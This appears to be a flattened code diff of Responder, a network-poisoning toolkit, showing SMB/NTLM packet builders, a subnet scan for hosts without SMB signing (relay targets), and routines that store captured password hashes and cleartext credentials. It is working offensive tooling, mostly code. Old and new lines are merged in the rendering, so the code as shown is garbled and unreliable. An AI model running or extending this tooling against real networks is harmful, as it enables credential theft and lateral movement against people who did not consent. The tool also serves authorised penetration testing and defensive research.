CalculateNTChallengeOffset = str(self.fields["NLMPAuthMsgSignature"])+str(self.fields["NLMPAuthMsgMessageType"])+str(self.fields["NLMPAuthMsgLMChallengeLen"])+str(self.fields["NLMPAuthMsgLMChallengeMaxLen"])+str(self.fields["NLMPAuthMsgLMChallengeBuffOffset"])+str(self.fields["NLMPAuthMsgNtChallengeResponseLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseMaxLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseBuffOffset"])+str(self.fields["NLMPAuthMsgNtDomainNameLen"])+str(self.fields["NLMPAuthMsgNtDomainNameMaxLen"])+str(self.fields["NLMPAuthMsgNtDomainNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtUserNameLen"])+str(self.fields["NLMPAuthMsgNtUserNameMaxLen"])+str(self.fields["NLMPAuthMsgNtUserNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtWorkstationLen"])+str(self.fields["NLMPAuthMsgNtWorkstationMaxLen"])+str(self.fields["NLMPAuthMsgNtWorkstationBuffOffset"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageMaxLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageBuffOffset"])+str(self.fields["NLMPAuthMsgNtNegotiateFlags"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])+str(self.fields["NLMPAuthMsgNtDomainName"])+str(self.fields["NLMPAuthMsgNtUserName"])+str(self.fields["NLMPAuthMsgNtWorkstationName"])+str(self.fields["NLMPAuthLMChallengeStr"])
## Packet len
self.fields["andxoffset"] = StructWithLenPython2or3("<i", len(CompletePacketLen)+32)[:2]
##Buff Len
self.fields["securitybloblength"] = StructWithLenPython2or3("<i", len(SecurityBlobLen))[:2]
##Complete Buff Len
self.fields["bcc1"] = StructWithLenPython2or3("<i", len(SecurityBlobBCC))[:2]
## Guest len check
self.fields["ApplicationHeaderLen"] = StructWithLenPython2or3("<i", len(SecurityBlobLen)-2)[:1]
self.fields["AsnSecMechLen"] = StructWithLenPython2or3("<i", len(SecurityBlobLen)-4)[:1]
self.fields["ChoosedTagLen"] = StructWithLenPython2or3("<i", len(SecurityBlobLen)-6)[:1]
self.fields["ChoosedTag1StrLen"] = StructWithLenPython2or3("<i", len(SecurityBlobLen)-8)[:1]
##### Username Offset Calculation..######
self.fields["NLMPAuthMsgNtUserNameBuffOffset"] = StructWithLenPython2or3("<i", len(CalculateUserOffset))
self.fields["NLMPAuthMsgNtUserNameLen"] = StructWithLenPython2or3("<i", len(str(self.fields["NLMPAuthMsgNtUserName"])))[:2]
self.fields["NLMPAuthMsgNtUserNameMaxLen"] = StructWithLenPython2or3("<i", len(str(self.fields["NLMPAuthMsgNtUserName"])))[:2]
##### Domain Offset Calculation..######
self.fields["NLMPAuthMsgNtDomainNameBuffOffset"] = StructWithLenPython2or3("<i", len(CalculateDomainOffset))
self.fields["NLMPAuthMsgNtDomainNameLen"] = StructWithLenPython2or3("<i", len(str(self.fields["NLMPAuthMsgNtDomainName"])))[:2]
self.fields["NLMPAuthMsgNtDomainNameMaxLen"] = StructWithLenPython2or3("<i", len(str(self.fields["NLMPAuthMsgNtDomainName"])))[:2]
##### Workstation Offset Calculation..######
self.fields["NLMPAuthMsgNtWorkstationBuffOffset"] = StructWithLenPython2or3("<i", len(CalculateWorkstationOffset))
self.fields["NLMPAuthMsgNtWorkstationLen"] = StructWithLenPython2or3("<i", len(str(self.fields["NLMPAuthMsgNtWorkstationName"])))[:2]
self.fields["NLMPAuthMsgNtWorkstationMaxLen"] = StructWithLenPython2or3("<i", len(str(self.fields["NLMPAuthMsgNtWorkstationName"])))[:2]
##### NT Challenge Offset Calculation..######
self.fields["NLMPAuthMsgNtChallengeResponseBuffOffset"] = StructWithLenPython2or3("<i", len(CalculateNTChallengeOffset))
self.fields["NLMPAuthMsgNtChallengeResponseLen"] = StructWithLenPython2or3("<i", len(str(self.fields["NLMPAuthMsgNTLMV1ChallengeResponseStruct"])))[:2]
self.fields["NLMPAuthMsgNtChallengeResponseMaxLen"] = StructWithLenPython2or3("<i", len(str(self.fields["NLMPAuthMsgNTLMV1ChallengeResponseStruct"])))[:2]
##### LM Challenge Offset Calculation..######
self.fields["NLMPAuthMsgLMChallengeBuffOffset"] = StructWithLenPython2or3("<i", len(CalculateLMChallengeOffset))
self.fields["NLMPAuthMsgLMChallengeLen"] = StructWithLenPython2or3("<i", len(str(self.fields["NLMPAuthLMChallengeStr"])))[:2]
self.fields["NLMPAuthMsgLMChallengeMaxLen"] = StructWithLenPython2or3("<i", len(str(self.fields["NLMPAuthLMChallengeStr"])))[:2]
######################################################################################################
class SMBTreeConnectData(Packet):
fields = OrderedDict([
("Wordcount", "\x04"),
("AndXCommand", "\xff"),
("Reserved","\x00" ),
("Andxoffset", "\x5a\x00"),
("Flags","\x08\x00"),
("PasswdLen", "\x01\x00"),
("Bcc","\x2f\x00"),
("Passwd", "\x00"),
("Path","IPC$"),
("PathTerminator","\x00\x00"),
("Service","?????"),
("Terminator", "\x00"),
])
def calculate(self):
##Convert Path to Unicode first before any Len calc.
self.fields["Path"] = self.fields["Path"].encode('utf-16le').decode('latin-1')
##Passwd Len
self.fields["PasswdLen"] = StructWithLenPython2or3("<i", len(str(self.fields["Passwd"])))[:2]
##Packet len
CompletePacket = str(self.fields["Wordcount"])+str(self.fields["AndXCommand"])+str(self.fields["Reserved"])+str(self.fields["Andxoffset"])+str(self.fields["Flags"])+str(self.fields["PasswdLen"])+str(self.fields["Bcc"])+str(self.fields["Passwd"])+str(self.fields["Path"])+str(self.fields["PathTerminator"])+str(self.fields["Service"])+str(self.fields["Terminator"])
self.fields["Andxoffset"] = StructWithLenPython2or3("<i", len(CompletePacket)+32)[:2]
##Bcc Buff Len
BccComplete = str(self.fields["Passwd"])+str(self.fields["Path"])+str(self.fields["PathTerminator"])+str(self.fields["Service"])+str(self.fields["Terminator"])
self.fields["Bcc"] = StructWithLenPython2or3("<i", len(BccComplete))[:2]
class SMBTransRAPData(Packet):
fields = OrderedDict([
("Wordcount", "\x10"),
("TotalParamCount", "\x00\x00"),
("TotalDataCount","\x00\x00" ),
("MaxParamCount", "\xff\xff"),
("MaxDataCount","\xff\xff"),
("MaxSetupCount", "\x00"),
("Reserved","\x00\x00"),
("Flags", "\x00"),
("Timeout","\x00\x00\x00\x00"),
("Reserved1","\x00\x00"),
("ParamCount","\x00\x00"),
("ParamOffset", "\x5c\x00"),
("DataCount", "\x00\x00"),
("DataOffset", "\x54\x00"),
("SetupCount", "\x02"),
("Reserved2", "\x00"),
("PeekNamedPipe", "\x23\x00"),
("FID", "\x00\x00"),
("Bcc", "\x47\x00"),
("Terminator", "\x00"),
("PipeName", "\\PIPE\\"),
("PipeTerminator","\x00\x00"),
("Data", ""),
])
def calculate(self):
#Padding
if len(str(self.fields["Data"]))%2==0:
self.fields["PipeTerminator"] = "\x00\x00\x00\x00"
else:
self.fields["PipeTerminator"] = "\x00\x00\x00"
##Convert Path to Unicode first before any Len calc.
self.fields["PipeName"] = self.fields["PipeName"].encode('utf-16le').decode('latin-1')
##Data Len
self.fields["TotalParamCount"] = StructWithLenPython2or3("<i", len(str(self.fields["Data"])))[:2]
self.fields["ParamCount"] = StructWithLenPython2or3("<i", len(str(self.fields["Data"])))[:2]
##Packet len
FindRAPOffset = str(self.fields["Wordcount"])+str(self.fields["TotalParamCount"])+str(self.fields["TotalDataCount"])+str(self.fields["MaxParamCount"])+str(self.fields["MaxDataCount"])+str(self.fields["MaxSetupCount"])+str(self.fields["Reserved"])+str(self.fields["Flags"])+str(self.fields["Timeout"])+str(self.fields["Reserved1"])+str(self.fields["ParamCount"])+str(self.fields["ParamOffset"])+str(self.fields["DataCount"])+str(self.fields["DataOffset"])+str(self.fields["SetupCount"])+str(self.fields["Reserved2"])+str(self.fields["PeekNamedPipe"])+str(self.fields["FID"])+str(self.fields["Bcc"])+str(self.fields["Terminator"])+str(self.fields["PipeName"])+str(self.fields["PipeTerminator"])
self.fields["ParamOffset"] = StructWithLenPython2or3("<i", len(FindRAPOffset)+32)[:2]
##Bcc Buff Len
BccComplete = str(self.fields["Terminator"])+str(self.fields["PipeName"])+str(self.fields["PipeTerminator"])+str(self.fields["Data"])
self.fields["Bcc"] = StructWithLenPython2or3("<i", len(BccComplete))[:2]

View File

@@ -15,11 +15,15 @@
# You should have received a copy of the GNU General Public License # You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>. # along with this program. If not, see <http://www.gnu.org/licenses/>.
import re,sys,socket,struct import re,sys,socket,struct
import multiprocessing
from socket import * from socket import *
from time import sleep
from odict import OrderedDict from odict import OrderedDict
__version__ = "0.3" __version__ = "0.7"
Timeout = 0.5
Timeout = 2
class Packet(): class Packet():
fields = OrderedDict([ fields = OrderedDict([
]) ])
@@ -139,15 +143,22 @@ def dtoa(d):
def OsNameClientVersion(data): def OsNameClientVersion(data):
try: try:
length = struct.unpack('<H',data[43:45])[0] length = struct.unpack('<H',data[43:45])[0]
OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in data[47+length:].split('\x00\x00\x00')[:2]]) if length > 255:
return OsVersion, ClientVersion OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in data[48+length:].split('\x00\x00\x00')[:2]])
return OsVersion, ClientVersion
if length <= 255:
OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in data[47+length:].split('\x00\x00\x00')[:2]])
return OsVersion, ClientVersion
except: except:
return "Could not fingerprint Os version.", "Could not fingerprint LanManager Client version" return "Could not fingerprint Os version.", "Could not fingerprint LanManager Client version"
def GetHostnameAndDomainName(data): def GetHostnameAndDomainName(data):
try: try:
DomainJoined, Hostname = tuple([e.replace('\x00','') for e in data[81:].split('\x00\x00\x00')[:2]]) DomainJoined, Hostname = tuple([e.replace('\x00','') for e in data[81:].split('\x00\x00\x00')[:2]])
#If max length domain name, there won't be a \x00\x00\x00 delineator to split on
if Hostname == '':
DomainJoined = data[81:110].replace('\x00','')
Hostname = data[113:].replace('\x00','')
return Hostname, DomainJoined return Hostname, DomainJoined
except: except:
return "Could not get Hostname.", "Could not get Domain joined" return "Could not get Hostname.", "Could not get Domain joined"
@@ -205,6 +216,27 @@ def SmbFinger(Host):
return signing, OsVersion, ClientVersion return signing, OsVersion, ClientVersion
except: except:
pass pass
def SmbFingerSigning(Host):
s = socket(AF_INET, SOCK_STREAM)
try:
s.settimeout(Timeout)
s.connect((Host, 445))
except:
return False
try:
h = SMBHeader(cmd="\x72",flag1="\x18",flag2="\x53\xc8")
n = SMBNego(Data = SMBNegoData())
n.calculate()
packet0 = str(h)+str(n)
buffer0 = longueur(packet0)+packet0
s.send(buffer0)
data = s.recv(2048)
signing = IsSigningEnabled(data)
return signing
except:
pass
################## ##################
#run it #run it
def ShowResults(Host): def ShowResults(Host):
@@ -244,6 +276,43 @@ def ShowSmallResults(Host):
pass pass
def ShowScanSmallResults(Host):
s = socket(AF_INET, SOCK_STREAM)
try:
s.settimeout(Timeout)
s.connect(Host)
except:
return False
try:
Hostname, DomainJoined = DomainGrab(Host)
Signing, OsVer, LanManClient = SmbFinger(Host)
Message ="['%s', Os:'%s', Domain:'%s', Signing:'%s']"%(Host[0], OsVer, DomainJoined, Signing)
print Message
except:
pass
def ShowSigning(Host):
s = socket(AF_INET, SOCK_STREAM)
try:
s.settimeout(Timeout)
s.connect((Host, 445))
except:
print "[Pivot Verification Failed]: Target host is down"
return True
try:
Signing = SmbFingerSigning(Host)
if Signing == True:
print "[Pivot Verification Failed]:Signing is enabled. Choose another host."
return True
else:
return False
except:
pass
def RunFinger(Host): def RunFinger(Host):
m = re.search("/", str(Host)) m = re.search("/", str(Host))
if m : if m :
@@ -255,3 +324,23 @@ def RunFinger(Host):
else: else:
ShowResults((Host,445)) ShowResults((Host,445))
def RunPivotScan(Host, CurrentIP):
m = re.search("/", str(Host))
if m :
net,_,mask = Host.partition('/')
mask = int(mask)
net = atod(net)
threads = []
for host in (dtoa(net+n) for n in range(0, 1<<32-mask)):
if CurrentIP == host:
pass
else:
p = multiprocessing.Process(target=ShowScanSmallResults, args=((host,445),))
threads.append(p)
p.start()
sleep(1)
else:
ShowScanSmallResults((Host,445))

View File

@@ -1,20 +1,9 @@
#!/usr/bin/env python import sys
# This file is part of Responder, a network take-over set of tools try:
# created and maintained by Laurent Gaffie. from UserDict import DictMixin
# email: laurent.gaffie@gmail.com except ImportError:
# This program is free software: you can redistribute it and/or modify from collections import UserDict
# it under the terms of the GNU General Public License as published by from collections import MutableMapping as DictMixin
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
from UserDict import DictMixin
class OrderedDict(dict, DictMixin): class OrderedDict(dict, DictMixin):
@@ -64,9 +53,9 @@ class OrderedDict(dict, DictMixin):
if not self: if not self:
raise KeyError('dictionary is empty') raise KeyError('dictionary is empty')
if last: if last:
key = reversed(self).next() key = next(reversed(self))
else: else:
key = iter(self).next() key = next(iter(self))
value = self.pop(key) value = self.pop(key)
return key, value return key, value
@@ -77,25 +66,35 @@ class OrderedDict(dict, DictMixin):
inst_dict = vars(self).copy() inst_dict = vars(self).copy()
self.__map, self.__end = tmp self.__map, self.__end = tmp
if inst_dict: if inst_dict:
return self.__class__, (items,), inst_dict return (self.__class__, (items,), inst_dict)
return self.__class__, (items,) return self.__class__, (items,)
def keys(self): def keys(self):
return list(self) return list(self)
setdefault = DictMixin.setdefault if sys.version_info >= (3, 0):
update = DictMixin.update setdefault = DictMixin.setdefault
pop = DictMixin.pop update = DictMixin.update
values = DictMixin.values pop = DictMixin.pop
items = DictMixin.items values = DictMixin.values
iterkeys = DictMixin.iterkeys items = DictMixin.items
itervalues = DictMixin.itervalues iterkeys = DictMixin.keys
iteritems = DictMixin.iteritems itervalues = DictMixin.values
iteritems = DictMixin.items
else:
setdefault = DictMixin.setdefault
update = DictMixin.update
pop = DictMixin.pop
values = DictMixin.values
items = DictMixin.items
iterkeys = DictMixin.iterkeys
itervalues = DictMixin.itervalues
iteritems = DictMixin.iteritems
def __repr__(self): def __repr__(self):
if not self: if not self:
return '%s()' % (self.__class__.__name__,) return '%s()' % (self.__class__.__name__,)
return '%s(%r)' % (self.__class__.__name__, self.items()) return '%s(%r)' % (self.__class__.__name__, list(self.items()))
def copy(self): def copy(self):
return self.__class__(self) return self.__class__(self)
@@ -110,8 +109,13 @@ class OrderedDict(dict, DictMixin):
def __eq__(self, other): def __eq__(self, other):
if isinstance(other, OrderedDict): if isinstance(other, OrderedDict):
return len(self)==len(other) and \ return len(self)==len(other) and \
min(p==q for p, q in zip(self.items(), other.items())) min(p==q for p, q in zip(list(self.items()), list(other.items())))
return dict.__eq__(self, other) return dict.__eq__(self, other)
def __ne__(self, other): def __ne__(self, other):
return not self == other return not self == other
if __name__ == '__main__':
d = OrderedDict([('foo',2),('bar',3),('baz',4),('zot',5),('arrgh',6)])
assert [x for x in d] == ['foo', 'bar', 'baz', 'zot', 'arrgh']

279
utils.py
View File

@@ -22,25 +22,38 @@ import socket
import time import time
import settings import settings
import datetime import datetime
import codecs
import struct
def RandomChallenge(): def RandomChallenge():
if settings.Config.NumChal == "random": if settings.Config.PY2OR3 is "PY3":
from random import getrandbits if settings.Config.NumChal == "random":
NumChal = '%0x' % getrandbits(16 * 4) from random import getrandbits
Challenge = '' NumChal = b'%016x' % getrandbits(16 * 4)
for i in range(0, len(NumChal),2): Challenge = b''
Challenge += NumChal[i:i+2].decode("hex") for i in range(0, len(NumChal),2):
return Challenge Challenge += NumChal[i:i+2]
else: return codecs.decode(Challenge, 'hex')
return settings.Config.Challenge else:
return settings.Config.Challenge
else:
if settings.Config.NumChal == "random":
from random import getrandbits
NumChal = '%016x' % getrandbits(16 * 4)
Challenge = ''
for i in range(0, len(NumChal),2):
Challenge += NumChal[i:i+2].decode("hex")
return Challenge
else:
return settings.Config.Challenge
def HTTPCurrentDate(): def HTTPCurrentDate():
Date = datetime.datetime.utcnow().strftime('%a, %d %b %Y %H:%M:%S GMT') Date = datetime.datetime.utcnow().strftime('%a, %d %b %Y %H:%M:%S GMT')
return Date return Date
try: try:
import sqlite3 import sqlite3
except: except:
print "[!] Please install python-sqlite3 extension." print("[!] Please install python-sqlite3 extension.")
sys.exit(0) sys.exit(0)
def color(txt, code = 1, modifier = 0): def color(txt, code = 1, modifier = 0):
@@ -54,8 +67,8 @@ def color(txt, code = 1, modifier = 0):
return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt) return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt)
def text(txt): def text(txt):
stripcolors = re.sub(r'\x1b\[([0-9,A-Z]{1,2}(;[0-9]{1,2})?(;[0-9]{3})?)?[m|K]?', '', txt) stripcolors = re.sub(r'\x1b\[([0-9,A-Z]{1,2}(;[0-9]{1,2})?(;[0-9]{3})?)?[m|K]?', '', txt)
logging.info(stripcolors) logging.info(stripcolors)
if os.name == 'nt': if os.name == 'nt':
return txt return txt
return '\r' + re.sub(r'\[([^]]*)\]', "\033[1;34m[\\1]\033[0m", txt) return '\r' + re.sub(r'\[([^]]*)\]', "\033[1;34m[\\1]\033[0m", txt)
@@ -73,7 +86,7 @@ def RespondToThisIP(ClientIp):
if ClientIp.startswith('127.0.0.'): if ClientIp.startswith('127.0.0.'):
return False return False
elif settings.Config.AutoIgnore and ClientIp in settings.Config.AutoIgnoreList: elif settings.Config.AutoIgnore and ClientIp in settings.Config.AutoIgnoreList:
print color('[*]', 3, 1), 'Received request from auto-ignored client %s, not answering.' % ClientIp print(color('[*]', 3, 1), 'Received request from auto-ignored client %s, not answering.' % ClientIp)
return False return False
elif settings.Config.RespondTo and ClientIp not in settings.Config.RespondTo: elif settings.Config.RespondTo and ClientIp not in settings.Config.RespondTo:
return False return False
@@ -94,10 +107,16 @@ def RespondToThisHost(ClientIp, Name):
return RespondToThisIP(ClientIp) and RespondToThisName(Name) return RespondToThisIP(ClientIp) and RespondToThisName(Name)
def RespondWithIPAton(): def RespondWithIPAton():
if settings.Config.ExternalIP: if settings.Config.PY2OR3 is "PY2":
return settings.Config.ExternalIPAton if settings.Config.ExternalIP:
else: return settings.Config.ExternalIPAton
return settings.Config.IP_aton else:
return settings.Config.IP_aton
else:
if settings.Config.ExternalIP:
return settings.Config.ExternalIPAton.decode('latin-1')
else:
return settings.Config.IP_aton.decode('latin-1')
def OsInterfaceIsSupported(): def OsInterfaceIsSupported():
if settings.Config.Interface != "Not set": if settings.Config.Interface != "Not set":
@@ -123,7 +142,7 @@ def FindLocalIP(Iface, OURIP):
return ret return ret
return OURIP return OURIP
except socket.error: except socket.error:
print color("[!] Error: %s: Interface not found" % Iface, 1) print(color("[!] Error: %s: Interface not found" % Iface, 1))
sys.exit(-1) sys.exit(-1)
# Function used to write captured hashs to a file. # Function used to write captured hashs to a file.
@@ -146,89 +165,143 @@ def DumpConfig(outfile, data):
with open(outfile,"a") as dump: with open(outfile,"a") as dump:
dump.write(data + '\n') dump.write(data + '\n')
def SaveToDb(result): def StructPython2or3(endian,data):
# Creating the DB if it doesn't exist #Python2...
if settings.Config.PY2OR3 is "PY2":
return struct.pack(endian, len(data))
#Python3...
else:
return struct.pack(endian, len(data)).decode('latin-1')
def StructWithLenPython2or3(endian,data):
#Python2...
if settings.Config.PY2OR3 is "PY2":
return struct.pack(endian, data)
#Python3...
else:
return struct.pack(endian, data).decode('latin-1')
def NetworkSendBufferPython2or3(data):
if settings.Config.PY2OR3 is "PY2":
return str(data)
else:
return bytes(str(data), 'latin-1')
def NetworkRecvBufferPython2or3(data):
if settings.Config.PY2OR3 is "PY2":
return str(data)
else:
return str(data.decode('latin-1'))
def CreateResponderDb():
if not os.path.exists(settings.Config.DatabaseFile): if not os.path.exists(settings.Config.DatabaseFile):
cursor = sqlite3.connect(settings.Config.DatabaseFile) cursor = sqlite3.connect(settings.Config.DatabaseFile)
cursor.execute('CREATE TABLE responder (timestamp varchar(32), module varchar(16), type varchar(16), client varchar(32), hostname varchar(32), user varchar(32), cleartext varchar(128), hash varchar(512), fullhash varchar(512))') cursor.execute('CREATE TABLE Poisoned (timestamp TEXT, Poisoner TEXT, SentToIp TEXT, ForName TEXT, AnalyzeMode TEXT)')
cursor.commit()
cursor.execute('CREATE TABLE responder (timestamp TEXT, module TEXT, type TEXT, client TEXT, hostname TEXT, user TEXT, cleartext TEXT, hash TEXT, fullhash TEXT)')
cursor.commit() cursor.commit()
cursor.close() cursor.close()
def SaveToDb(result):
for k in [ 'module', 'type', 'client', 'hostname', 'user', 'cleartext', 'hash', 'fullhash' ]: for k in [ 'module', 'type', 'client', 'hostname', 'user', 'cleartext', 'hash', 'fullhash' ]:
if not k in result: if not k in result:
result[k] = '' result[k] = ''
if len(result['user']) < 2: if len(result['user']) < 2:
print(color('[*] Skipping one character username: %s' % result['user'], 3, 1))
text("[*] Skipping one character username: %s" % result['user'])
return return
if len(result['cleartext']):
fname = '%s-%s-ClearText-%s.txt' % (result['module'], result['type'], result['client'])
else:
fname = '%s-%s-%s.txt' % (result['module'], result['type'], result['client'])
logfile = os.path.join(settings.Config.ResponderPATH, 'logs', fname)
cursor = sqlite3.connect(settings.Config.DatabaseFile) cursor = sqlite3.connect(settings.Config.DatabaseFile)
cursor.text_factory = sqlite3.Binary # We add a text factory to support different charsets cursor.text_factory = sqlite3.Binary # We add a text factory to support different charsets
res = cursor.execute("SELECT COUNT(*) AS count FROM responder WHERE module=? AND type=? AND client=? AND LOWER(user)=LOWER(?)", (result['module'], result['type'], result['client'], result['user']))
if len(result['cleartext']):
fname = '%s-%s-ClearText-%s.txt' % (result['module'], result['type'], result['client'])
res = cursor.execute("SELECT COUNT(*) AS count FROM responder WHERE module=? AND type=? AND client=? AND LOWER(user)=LOWER(?) AND cleartext=?", (result['module'], result['type'], result['client'], result['user'], result['cleartext']))
else:
fname = '%s-%s-%s.txt' % (result['module'], result['type'], result['client'])
res = cursor.execute("SELECT COUNT(*) AS count FROM responder WHERE module=? AND type=? AND client=? AND LOWER(user)=LOWER(?)", (result['module'], result['type'], result['client'], result['user']))
(count,) = res.fetchone() (count,) = res.fetchone()
logfile = os.path.join(settings.Config.ResponderPATH, 'logs', fname)
if not count: if not count:
with open(logfile,"a") as outf: with open(logfile,"a") as outf:
if len(result['cleartext']): # If we obtained cleartext credentials, write them to file if len(result['cleartext']): # If we obtained cleartext credentials, write them to file
outf.write('%s:%s\n' % (result['user'].encode('utf8', 'replace'), result['cleartext'].encode('utf8', 'replace'))) outf.write('%s:%s\n' % (result['user'].encode('utf8', 'replace'), result['cleartext'].encode('utf8', 'replace')))
else: # Otherwise, write JtR-style hash string to file else: # Otherwise, write JtR-style hash string to file
outf.write(result['fullhash'].encode('utf8', 'replace') + '\n') outf.write(result['fullhash'] + '\n')#.encode('utf8', 'replace') + '\n')
cursor.execute("INSERT INTO responder VALUES(datetime('now'), ?, ?, ?, ?, ?, ?, ?, ?)", (result['module'], result['type'], result['client'], result['hostname'], result['user'], result['cleartext'], result['hash'], result['fullhash'])) cursor.execute("INSERT INTO responder VALUES(datetime('now'), ?, ?, ?, ?, ?, ?, ?, ?)", (result['module'], result['type'], result['client'], result['hostname'], result['user'], result['cleartext'], result['hash'], result['fullhash']))
cursor.commit() cursor.commit()
if settings.Config.CaptureMultipleHashFromSameHost: if settings.Config.CaptureMultipleHashFromSameHost:
with open(logfile,"a") as outf: with open(logfile,"a") as outf:
if len(result['cleartext']): # If we obtained cleartext credentials, write them to file if len(result['cleartext']): # If we obtained cleartext credentials, write them to file
outf.write('%s:%s\n' % (result['user'].encode('utf8', 'replace'), result['cleartext'].encode('utf8', 'replace'))) outf.write('%s:%s\n' % (result['user'].encode('utf8', 'replace'), result['cleartext'].encode('utf8', 'replace')))
else: # Otherwise, write JtR-style hash string to file else: # Otherwise, write JtR-style hash string to file
outf.write(result['fullhash'].encode('utf8', 'replace') + '\n') outf.write(result['fullhash'] + '\n')#.encode('utf8', 'replace') + '\n')
if not count or settings.Config.Verbose: # Print output if not count or settings.Config.Verbose: # Print output
if len(result['client']): if len(result['client']):
print text("[%s] %s Client : %s" % (result['module'], result['type'], color(result['client'], 3))) print(text("[%s] %s Client : %s" % (result['module'], result['type'], color(result['client'], 3))))
if len(result['hostname']): if len(result['hostname']):
print text("[%s] %s Hostname : %s" % (result['module'], result['type'], color(result['hostname'], 3))) print(text("[%s] %s Hostname : %s" % (result['module'], result['type'], color(result['hostname'], 3))))
if len(result['user']): if len(result['user']):
print text("[%s] %s Username : %s" % (result['module'], result['type'], color(result['user'], 3))) print(text("[%s] %s Username : %s" % (result['module'], result['type'], color(result['user'], 3))))
# Bu order of priority, print cleartext, fullhash, or hash # Bu order of priority, print cleartext, fullhash, or hash
if len(result['cleartext']): if len(result['cleartext']):
print text("[%s] %s Password : %s" % (result['module'], result['type'], color(result['cleartext'], 3))) print(text("[%s] %s Password : %s" % (result['module'], result['type'], color(result['cleartext'], 3))))
elif len(result['fullhash']): elif len(result['fullhash']):
print text("[%s] %s Hash : %s" % (result['module'], result['type'], color(result['fullhash'], 3))) print(text("[%s] %s Hash : %s" % (result['module'], result['type'], color(result['fullhash'], 3))))
elif len(result['hash']): elif len(result['hash']):
print text("[%s] %s Hash : %s" % (result['module'], result['type'], color(result['hash'], 3))) print(text("[%s] %s Hash : %s" % (result['module'], result['type'], color(result['hash'], 3))))
# Appending auto-ignore list if required # Appending auto-ignore list if required
# Except if this is a machine account's hash # Except if this is a machine account's hash
if settings.Config.AutoIgnore and not result['user'].endswith('$'): if settings.Config.AutoIgnore and not result['user'].endswith('$'):
settings.Config.AutoIgnoreList.append(result['client']) settings.Config.AutoIgnoreList.append(result['client'])
print color('[*] Adding client %s to auto-ignore list' % result['client'], 4, 1) print(color('[*] Adding client %s to auto-ignore list' % result['client'], 4, 1))
elif len(result['cleartext']):
print(color('[*] Skipping previously captured cleartext password for %s' % result['user'], 3, 1))
text('[*] Skipping previously captured cleartext password for %s' % result['user'])
else: else:
print color('[*] Skipping previously captured hash for %s' % result['user'], 3, 1) print(color('[*] Skipping previously captured hash for %s' % result['user'], 3, 1))
text('[*] Skipping previously captured hash for %s' % result['user']) text('[*] Skipping previously captured hash for %s' % result['user'])
cursor.execute("UPDATE responder SET timestamp=datetime('now') WHERE user=? AND client=?", (result['user'], result['client'])) cursor.execute("UPDATE responder SET timestamp=datetime('now') WHERE user=? AND client=?", (result['user'], result['client']))
cursor.commit() cursor.commit()
cursor.close() cursor.close()
def SavePoisonersToDb(result):
for k in [ 'Poisoner', 'SentToIp', 'ForName', 'AnalyzeMode' ]:
if not k in result:
result[k] = ''
cursor = sqlite3.connect(settings.Config.DatabaseFile)
cursor.text_factory = sqlite3.Binary # We add a text factory to support different charsets
res = cursor.execute("SELECT COUNT(*) AS count FROM Poisoned WHERE Poisoner=? AND SentToIp=? AND ForName=? AND AnalyzeMode=?", (result['Poisoner'], result['SentToIp'], result['ForName'], result['AnalyzeMode']))
(count,) = res.fetchone()
if not count:
cursor.execute("INSERT INTO Poisoned VALUES(datetime('now'), ?, ?, ?, ?)", (result['Poisoner'], result['SentToIp'], result['ForName'], result['AnalyzeMode']))
cursor.commit()
cursor.close()
def Parse_IPV6_Addr(data): def Parse_IPV6_Addr(data):
if data[len(data)-4:len(data)][1] =="\x1c": if data[len(data)-4:len(data)][1] ==b'\x1c':
return False return False
elif data[len(data)-4:len(data)] == "\x00\x01\x00\x01": elif data[len(data)-4:len(data)] == b'\x00\x01\x00\x01':
return True return True
elif data[len(data)-4:len(data)] == "\x00\xff\x00\x01": elif data[len(data)-4:len(data)] == b'\x00\xff\x00\x01':
return True return True
return False return False
@@ -243,7 +316,7 @@ def Decode_Name(nbname): #From http://code.google.com/p/dpkt/ with author's per
for i in range(0, 32, 2): for i in range(0, 32, 2):
l.append(chr(((ord(nbname[i]) - 0x41) << 4) | ((ord(nbname[i+1]) - 0x41) & 0xf))) l.append(chr(((ord(nbname[i]) - 0x41) << 4) | ((ord(nbname[i+1]) - 0x41) & 0xf)))
return filter(lambda x: x in printable, ''.join(l).split('\x00', 1)[0].replace(' ', '')) return ''.join(list(filter(lambda x: x in printable, ''.join(l).split('\x00', 1)[0].replace(' ', ''))))
except: except:
return "Illegal NetBIOS name" return "Illegal NetBIOS name"
@@ -269,71 +342,73 @@ def banner():
' |__|' ' |__|'
]) ])
print banner print(banner)
print "\n \033[1;33mNBT-NS, LLMNR & MDNS %s\033[0m" % settings.__version__ print("\n \033[1;33mNBT-NS, LLMNR & MDNS %s\033[0m" % settings.__version__)
print "" print('')
print " Author: Laurent Gaffie (laurent.gaffie@gmail.com)" print(" Author: Laurent Gaffie (laurent.gaffie@gmail.com)")
print " To kill this script hit CRTL-C" print(" To kill this script hit CTRL-C")
print "" print('')
def StartupMessage(): def StartupMessage():
enabled = color('[ON]', 2, 1) enabled = color('[ON]', 2, 1)
disabled = color('[OFF]', 1, 1) disabled = color('[OFF]', 1, 1)
print "" print('')
print color("[+] ", 2, 1) + "Poisoners:" print(color("[+] ", 2, 1) + "Poisoners:")
print ' %-27s' % "LLMNR" + enabled print(' %-27s' % "LLMNR" + enabled)
